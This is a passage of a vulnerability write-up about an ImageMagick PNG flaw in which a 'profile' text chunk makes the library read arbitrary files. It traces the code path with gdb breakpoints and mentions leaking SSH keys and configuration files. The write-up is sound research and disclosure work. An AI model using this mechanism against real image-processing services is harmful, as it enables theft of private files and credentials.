The StringInfo struct is then destroyed using DestroyStringInfo.

if (profile != (StringInfo *) NULL)
            {
              status=SetImageProfile(image,image_info->magick,profile,
                exception);
              profile=DestroyStringInfo(profile);
            }

Finally, the ImageInfo struct is destroyed using DestroyImageInfo, and the function returns MagickTrue.

image_info=DestroyImageInfo(image_info);
return(MagickTrue);

If the property variable is not equal to the string “profile”, the program breaks out of the if statement.

break; /* not an attribute, add as a property */

basically, all these steps are in the gdb, and you can follow them in the execution flow that I recorded and attached above.

I did all this by following gdb step by step and going through the execution.

Now just to summarize the execution flow:

ReadOnePNGImage -> IsEventLogging -> GetMagickResourceLimit -> GetImageOption -> GetValueFromSplayTree -> LockSemaphoreInfo -> png.c:3962 -> ConcatenateMagickString -> SetImageProperty -> property.c:4711 -> AcquireImageInfo -> CopyMagickString -> SetImageInfo -> FileToStringInfo -> FileToBlob -> SetImageProfile -> DestroyStringInfo -> DestroyImageInfo

With the execution flow, it will be easier to reproduce this and follow the functions.

Also, I want here to summarize the exact lines where the vulnerability happened:

  • First starts here where the PNG image gets read and processed.
static Image *ReadOnePNGImage(MngInfo *mng_info,
    const ImageInfo *image_info, ExceptionInfo *exception)
{
  • Read the text chunk
png.c:3962
ConcatenateMagickString

  • Check “profile” keyword
SetImageProperty
property.c:4711

  • Read the file content and store it
property.c:4722
profile=FileToStringInfo(image_info->filename,~0UL,exception);
string.c:1017
string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);

  • Finally here is where the SetImageProfile function will set the image profile and anything related to it, and now the image is ready.

If you want to reproduce this and minimize the time and just go straight to the main point, you can add breakpoints as follows:

break ReadOnePNGImage
break png.c:3954
break png.c:3986
break SetImageProperty
break property.c:4711
break property.c:4722
break property.c:4725
break FileToStringInfo
break string.c:1017

after that go with “continue” , “step” , “step-in” and “next”.

  • The red highlighted ones, here we are setting the breakpoints.
  • The green highlighted one, we started the program.
  • Finally, we see the program hit the first breakpoint.

How the attacker would abuse this?

If this tool is used with online photo service, it can be exploited to leak the SSH keys, configuration files ..etc, same thing applies to privilege escalation scenarios.

Final thoughts

This is really interesting vulnerability (I say that about each 0day LOL) since it can be exploited in privilege escalation, but also because ImageMagick is used in multiple languages and in websites so it can be a public target for the attackers.

I didn’t do any patch diffing here since there are a lot of changes between the vulnerable version and the latest version, however, studying the code changes is always interesting and can lead to new bypasses or new vulnerabilities.

Resources

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

Discover more from Version 2

Subscribe now to keep reading and get access to the full archive.

Continue reading

×

Hello!

Click one of our contacts below to chat on WhatsApp

×